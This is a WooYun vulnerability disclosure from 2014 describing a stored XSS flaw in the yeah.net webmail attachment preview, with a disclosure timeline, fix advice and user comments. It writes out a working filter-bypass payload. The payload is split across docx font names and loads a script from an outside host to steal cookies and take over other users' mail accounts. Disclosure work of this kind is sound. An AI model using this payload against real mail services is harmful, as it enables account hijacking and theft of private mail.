yeah.net邮箱存储型XSS可劫持他人账号

漏洞概要

缺陷编号:WooYun-2014-088918

漏洞标题:yeah.net邮箱存储型XSS可劫持他人账号

相关厂商:网易

漏洞作者:0x_Jin

提交时间:2014-12-27 20:34

公开时间:2015-02-10 20:34

漏洞类型:XSS 跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

Tags标签:

漏洞详情

披露状态:

2014-12-27: 细节已通知厂商并且等待厂商处理中
2014-12-30: 厂商已经确认,细节仅向厂商公开
2015-01-09: 细节向核心白帽子及相关领域专家公开
2015-01-19: 细节向普通白帽子公开
2015-01-29: 细节向实习白帽子公开
2015-02-10: 细节向公众公开

简要描述:

太久不挖xss手法都生疏了 思路也没以前那么YD了~

详细说明:

首先问题出在附件预览那(现在邮箱正文的过滤都过滤的差不多了),附件预览那如果预览doc docx这种类型的文件 便会采用微软的在线预览技术(高清版)以及永中软件的预览技术(极速版)而微软的在线预览技术采用的是将内容嵌入到图片 然后来渲染出一张图片给用户看,这样是比较需要时间以及带宽来加载的(难怪叫高清版)但是永中软件的就相对正常一些了,是获得内容然后渲染到html,这样速度比较快,带宽也无需太多 就跟浏览网页一样。那么现在问题来了,微软的在线预览技术应该做的比较成熟了 所以直接放弃,那另外一个呢?发送一个docx 然后预览发现字体是会输出在style标签中的。

如果在字体中带上恶意payload呢?其实是会过滤的,如果直接闭合style标签会变成这样:</style><script> --->\60;/style\62;\60;script\62;把payload当成值给编码了,这样就过不去了么,No 好玩的来了。我们只需要有一个 ; 号 来结束掉 font-family 就ok了。那么便可以这样:}</style><script> 这样的话 } 会编码成font-family:\125;这样我们就有了个;号 然后便可以写payload了最终payload如下 (由于字数问题 分成了两段):}</style><script src=//km3pw>}</script>把上面的两段设置到word文档中的字体里就好了比如 1.xsss --> 字体等于}</style><script src=//km3pw>2.csrf --> 字体等于}</script>

然后发送给别人预览:

得到cookie后 发现一部分cookie虽然存在httponly属性 导致获取不到cookie。但是还是能拿着得到的cookie登陆上对方的邮箱。

漏洞证明:

修复方案:

不要太依靠第三方的东西 过滤危险字符吧 关键cookie字段设置httponly吧

漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2014-12-3012:17

厂商回复:

感谢您对网易的关注。

最新状态:

暂无

评价

  1. 2010-01-01 00:00 小威 白帽子 | Rank:380 漏洞数:43)

    撸主不是YD的人,但是YD起来不是人

  2. 2010-01-01 00:00 子非海绵宝宝 白帽子 | Rank:1220 漏洞数:113)

    撸主一般不YD,但是YD起来不是人

  3. 2010-01-01 00:00 px1624 白帽子 | Rank:963 漏洞数:126)

    。。。还真的3个都发了一遍,我想说网易这3个邮箱不是都是一套系统和一套过滤器么

  4. 2010-01-01 00:00 wanglaojiu 白帽子 | Rank:45 漏洞数:12)

    别中招,挖洞不易,且行且珍惜

  • N/A